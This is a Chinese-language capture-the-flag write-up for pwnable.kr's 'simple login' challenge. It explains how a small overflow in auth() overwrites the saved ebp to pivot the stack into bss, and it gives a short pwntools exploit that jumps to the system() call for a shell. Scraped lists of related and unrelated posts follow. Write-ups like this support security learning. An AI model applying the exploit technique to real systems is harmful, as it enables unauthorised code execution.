pwnable.kr之simple Login
pwnable.kr之simple Login
懒了几天,一边看malloc.c的源码,一边看华庭的PDF。今天佛系做题,到pwnable.kr上打开了simple Login这道题,但是这道题个人觉得不simple,没有独立完成,看了wp,学到新的思路。
其实说实话,原理并不复杂,这道题比较难的地方,是它的结构比较复杂,溢出空间很小,而且很隐蔽。

这是主函数的伪代码,Base64Decode函数实现对输入内容进行base64解码,auth函数会生成解码内容的md5哈希值,并且与程序中保存的hash值对比。
v5变量在这里没毛作用,正常的代码里应该没有这些个变量,这里应该是IDA的问题。

这个函数里,就是进行了一下base64的解码。

getshell的函数在这里。

溢出点在auth函数这里,注意一下,这里的v10是auth的实参,v10是base64解码之后的长度,当v10>12的时候,会输出“wrong lenth”,然后退出进程。
但是这里memcpy,目的地址v5所在位置是[ebp-8h],所以,如果v10=12的时候,就会覆盖ebp寄存器所指向的栈基地址。
这里就到了比较搞的地方了,因为题目开启了NX,Canary保护(这个没啥用),我们其实无法将shellcode布置在栈区来执行,溢出空间很小,也没办法覆盖返回地址来劫持程序的控制流。
这时候其实要留意一点,最后有一个memcpy,是把解码之后的填充数据copy到了input地址处,在程序没有开启PIE保护的情况下,input地址我们是可以知道的,我们可以同过劫持栈指针的方式,把数据布置到input所在的bss段,在执行完main函数后,在bss段执行我们的shellcode。
这里,思路就很清晰了,唯一要注意的就是,mov ebp,esp;pop ebp的时候,esp寄存器的值要减4,所以payload的前四个字节填充垃圾数据。
from pwn import *
#io=process('./login')
io=remote('pwnable.kr',9003)
input_addr=0x0811EB40
#correct_addr=0x0804925F
correct_addr=0x08049284
io.recvuntil(":")
payload='a'*4+p32(correct_addr)+p32(input_addr)
io.send(payload.encode('base64'))
io.interactive()
exp如上所示,比较简单,但是背后的思维值得推敲。
留意一点:跳转getshell的时候,跳转到correct函数中的system函数处,不然的话,由于它前面还有一句输出,无法getshell。
pwnable.kr之simple Login的更多相关文章
- 【pwnable.kr】 [simple login]
Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...
- 【pwnable.kr】 memcpy
pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...
- 【pwnable.kr】passcode
pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是‘&’的锅. #include <stdio.h> ...
- pwnable.kr之passcode
使用ssh passcode@pwnable.kr -p2222登录到远程服务器, ls -l 查看目录下的文件, -r--r----- root passcode_pwn Jun flag -r-x ...
- WordPress Simple Login Registration插件’username‘参数跨站脚本漏洞
漏洞名称: WordPress Simple Login Registration插件’username‘参数跨站脚本漏洞 CNNVD编号: CNNVD-201308-519 发布时间: 2013-0 ...
随机推荐
- js笔记19 事件对象
1.常用的事件 onmouseover onmouseout onmousedown onmousemove onmouseup onclick onchange onfocus o ...
- 【spring源码系列】之【Bean的实例化】
人生需要探索的热情.坚持的勇气以及热爱生活热爱自己的力量. 1. Bean的实例化 上一篇讲述了bean的生命周期,其中第一步就涉及到了bean的实例化,本文重点分析bean实例化,先进入源码中的Ab ...
- 最强阿里巴巴历年经典面试题汇总:C++研发岗
(1).B树.存储模型 (2).字典树构造及其优化与应用 (3).持久化数据结构,序列化与反序列化时机(4).在无序数组中找最大的K个数? (4).大规模文本文件,全是单词,求前10词频的单词 (5) ...
- 8.QSharedPointer
QSharedPointer 是一个共享指针, 同时是引用计数型的智能指针 ,也就是说,QSharedPointer可以被自由地拷贝和赋值,在任意的地方共享它. QSharedPointer内部会对拥 ...
- 18、lnmp_wordpress安装
18.1.[root@web01 nginx]# mysql -uroot -p123456 mysql> show databases; #显示所有的数据库: +--------------- ...
- vue3,后台管理列表页面各组件之间的状态关系
技术栈 vite2 vue 3.0.5 vue-router 4.0.6 vue-data-state 0.1.1 element-plus 1.0.2-beta.39 前情回顾 表单控件 查询控件 ...
- 两台主机间docker容器网络互通
服务器1: 网络172.30.0.0/16 服务器2: 网络172.31.0.0/16 服务器1和服务器2上的docker容器网络之间是无法互通的,如果需要互通,需要做以下配置: 服务器1上执行: i ...
- [源码解析] 深度学习分布式训练框架 horovod (13) --- 弹性训练之 Driver
[源码解析] 深度学习分布式训练框架 horovod (13) --- 弹性训练之 Driver 目录 [源码解析] 深度学习分布式训练框架 horovod (13) --- 弹性训练之 Driver ...
- 资源:Nginx安装包的下载路径
下载路径如下: Nginx所有版本:http://nginx.org/download/
- edraw max for mac 安装
1.下载网址:https://xclient.info/s/edraw-max.html#versions 2.安装断网安装,直接打开 .dmg文件安装 3.按照阅读文件中的第二步,将opt.cell ...